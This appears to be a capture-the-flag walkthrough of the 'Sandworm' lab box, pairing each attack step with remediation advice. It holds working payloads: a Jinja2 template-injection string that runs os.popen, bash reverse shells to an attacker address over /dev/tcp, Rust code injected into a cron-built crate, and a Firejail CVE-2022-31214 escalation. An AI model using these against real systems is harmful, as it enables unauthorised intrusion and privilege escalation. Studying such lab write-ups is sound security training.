← all walkthroughs

Sandworm

Linux· Medium· Web
owned
2026-09-04
time to own
1h10m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered the internal 'SSA / Secret Spy Agency' web application behind the ssa.htb virtual host and found that its PGP signature-verification feature rendered the submitted key's owner name through a server-side Jinja2 template, allowing remote code execution as the low-privileged user atlas inside a locked-down Firejail sandbox. From within the sandbox, a plaintext credential left in an HTTPie session file for the user silentobserver allowed me to SSH out of the jail entirely and capture user.txt.

Back on the host, a group-writable local Rust crate consumed by a root-scheduled cron job let me inject code that executed as atlas outside the sandbox, gaining membership in the 'jailer' group. That group membership, combined with a vulnerable, SUID-root Firejail binary (CVE-2022-31214), gave me a path to join another user's sandbox namespace and escalate directly to root.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Attack path — how the box was taken

1EnumerationService enumeration and virtual host discovery
Mapped exposed services and identified the internal web application
A port scan of the target found SSH (22) and an HTTP service (80) redirecting to HTTPS (443) presenting a self-signed certificate for 'SSA / Secret Spy Agency'. Adding the hostname to local DNS resolution revealed a Flask/Jinja2 application with a PGP encrypt/decrypt/verify-signature demo at /guide, along with /pgp, /login, and /admin pages.
Nmap: 22/tcp ssh, 80/tcp http nginx 1.18.0, 443/tcp ssl/http nginx 1.18.0; redirect to https://ssa.htb.
Exact commands 3
shell

Identify open ports and service banners.

$ nmap -sC -sV -p22,80,443 $TARGET
shell

Resolve the vhost served by nginx on 80/443.

$ echo "$TARGET ssa.htb" | sudo tee -a /etc/hosts
shell

Locate the PGP verify-signature demo page.

$ curl -sSk https://ssa.htb/guide
2ExploitationServer-Side Template Injection (Jinja2/Python) — CWE-1336
Achieved remote code execution via Jinja2 SSTI in a PGP key's owner name
The /guide 'verify signature' feature imported my own PGP public key and rendered the key owner's Real Name field directly into a Jinja2 template. Because the field blocked '<' and '>' but not template syntax, a base64-encoded reverse shell was embedded in a Jinja2 expression set as the GPG key's Real Name, then triggered by submitting that key alongside a validly signed message.
Landed as uid=1000(atlas) inside a Firejail sandbox with core binaries (python3, bash, gpg, ls, cat, base64, id) stripped.
Exact commands 6
shell

Base64-encode the reverse shell since '<' and '>' are rejected by the Real Name field.

$ echo "bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1" | base64
shell

Real Name = {{ namespace.__init__.__globals__.os.popen('echo <B64_PAYLOAD> | base64 -d | bash').read() }}; email rce@ssa.htb; no passphrase.

$ gpg --full-generate-key
shell

Produce a validly signed message (m.txt.asc).

$ echo test > m.txt && gpg --clearsign -u rce@ssa.htb m.txt
shell

Export the malicious public key.

$ gpg --export -a rce@ssa.htb > pub.key
shell

Start a listener before submitting, to catch the reverse shell.

$ nc -lvnp 443
shell

Submit to the verify-signature form; server imports the key and renders the UID through Jinja2, triggering RCE.

$ curl -sSk https://ssa.htb/guide -F 'public_key=@pub.key' -F 'signed_message=@m.txt.asc'
FixNever render untrusted input through a server-side template engineCritical
WeaknessThe PGP signature-verification page passed an externally controlled value — the imported key's Real Name/UID — directly into a Jinja2 template for rendering, letting a crafted key run arbitrary Python/OS commands on the server.
FixTreat GPG key metadata (UID, comment, email) as untrusted data: display it with a plain string/HTML-escaping call, never through Jinja2's render/Template functions. If dynamic templating is unavoidable, use Jinja2's SandboxedEnvironment and strip control characters and template delimiters from any field sourced from an uploaded key or file before use.
3Credential AccessCredentials In Files (T1552.001)
Recovered plaintext credentials for another account from an HTTPie session file
Although the Firejail sandbox stripped most standard tools, I enumerated the filesystem via /proc and shell builtins and found a saved HTTPie session file under atlas's home directory containing a username and password for a second account, silentobserver.
/home/atlas/.config/httpie/sessions/localhost_5000/admin.json contained username <withheld>, password.
Exact commands 1
shell

Shell builtins remained usable even though ls/cat/id were stripped from PATH; read the saved session credentials.

$ cat /home/atlas/.config/httpie/sessions/localhost_5000/admin.json
FixStop storing plaintext credentials in per-user config filesHigh
WeaknessA password for a second account (silentobserver) was saved in cleartext inside an HTTPie session file under atlas's home directory, and that account's SSH access sat entirely outside the Firejail sandbox meant to contain a compromised web-facing process.
FixNever persist credentials in tool session/cache files; use a credential manager or short-lived tokens instead. Additionally, ensure any account reachable from a sandboxed service is itself scoped down (no broad SSH access, unique non-reused passwords) so a leaked credential doesn't provide an unrestricted way out of the sandbox.
4Lateral MovementValid Accounts — Password Reuse/Recovered Credentials (T1078)
SSH'd out of the sandbox as silentobserver and captured user.txt
The silentobserver account had normal SSH access to the host, entirely outside the restrictive Firejail sandbox that confined atlas. Logging in directly gave a full shell and access to the user flag.
Id returned uid=1001(silentobserver) gid=1001(silentobserver); user.txt read from /home/silentobserver.
Exact commands 1
shell

Authenticate with the recovered credential and read the flag.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null silentobserver@$TARGET 'id; cat /home/silentobserver/user.txt'
uid=1001(silentobserver) gid=1001(silentobserver)
5Privilege EscalationScheduled Task/Job: Cron abusing a writable build dependency (T1053.003)
Hijacked a root-scheduled cron job via a group-writable local Rust dependency
A cron job running roughly every two minutes executed 'cargo run --offline' as atlas inside /opt/tipnet. That project depended on a local crate, 'logger', whose source file at /opt/crates/logger/src/lib.rs was group-writable by silentobserver. Appending malicious code to the crate's log() function (while preserving its original behavior) caused the next cron cycle to recompile and run my code as atlas, this time outside the Firejail sandbox — also picking up membership in the privileged 'jailer' group.
Lib.rs was -rw-rw-r-- owned by atlas:silentobserver; subsequent shell returned uid=1000(atlas) groups=1000(atlas),1002(jailer).
Exact commands 4
shell

Log in with the recovered credential (outside the jail).

$ ssh silentobserver@$TARGET
shell

Confirm the file is group-writable by silentobserver.

$ ls -l /opt/crates/logger/src/lib.rs
shell

Append a reverse-shell call; keep the original log() body intact and re-save it repeatedly to win the race against a periodic cleanup/restore job.

$ cat >> /opt/crates/logger/src/lib.rs <<EOF
pub fn _bg() { use std::process::Command; Command::new("bash").arg("-c").arg("bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1").output().ok(); }
EOF
shell

Catch the shell when the ~2-minute cron rebuilds and runs the crate as atlas.

$ nc -lvnp 4444
FixLock down permissions on source trees consumed by scheduled/privileged buildsCritical
WeaknessA cron job ran 'cargo run --offline' as the privileged local user atlas against a project whose local dependency source (/opt/crates/logger/src/lib.rs) was group-writable by a lower-privileged account, letting that account inject code that ran as atlas on the next build cycle.
FixRemove group/world write access from any source tree that a scheduled task builds or executes, and never let a lower-privileged account share a group with a job's execution user. Prefer vendored/pinned, read-only dependency copies for privileged automation, and audit cron entries for commands that compile or execute code from writable paths.
6Privilege EscalationExploitation for Privilege Escalation — CVE-2022-31214 (T1068)
Escalated to root by exploiting a vulnerable SUID Firejail binary (CVE-2022-31214)
The Firejail binary was installed SUID-root and group-owned by 'jailer' — the group atlas had just gained. The installed version (0.9.68) was vulnerable to CVE-2022-31214, which lets a member of the owning group join another user's sandbox namespace via '--join' and obtain root inside it. Using the firejoin.py PoC across two atlas sessions, I joined a privileged sandbox and escalated to a root shell.
Stat: -rwsr-x--- root jailer /usr/local/bin/firejail; objdump of the binary confirmed the vulnerable fs_logger code path.
Exact commands 5
shell

Confirm SUID-root, group 'jailer', consistent with CVE-2022-31214 (fixed in 0.9.70).

$ stat -c '%A %U %G %n' /usr/local/bin/firejail
shell

Run in one atlas session; prints a 'firejail --join=<PID>' command and opens a short exploitation window.

$ python3 firejoin.py
shell

Run in a second atlas session within the printed window.

$ firejail --join=<PID>
shell

Inside the joined namespace, switch to root with no password due to the vulnerability.

$ su -
shell

Read the root flag — value redacted here as <root.txt>.

$ cat /root/root.txt
FixPatch Firejail and remove unnecessary SUID/group privilegesCritical
WeaknessThe host ran Firejail 0.9.68, installed SUID-root and group-owned by 'jailer', which is vulnerable to CVE-2022-31214 — a flaw that lets a member of the owning group join another sandbox's namespace and obtain root.
FixUpgrade Firejail to 0.9.70 or later. Independently, avoid granting a SUID-root binary group ownership that overlaps with accounts an unauthorised user could plausibly reach, and periodically audit find / -perm -4000 for unexpected SUID binaries and their group ownership.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
443/tcp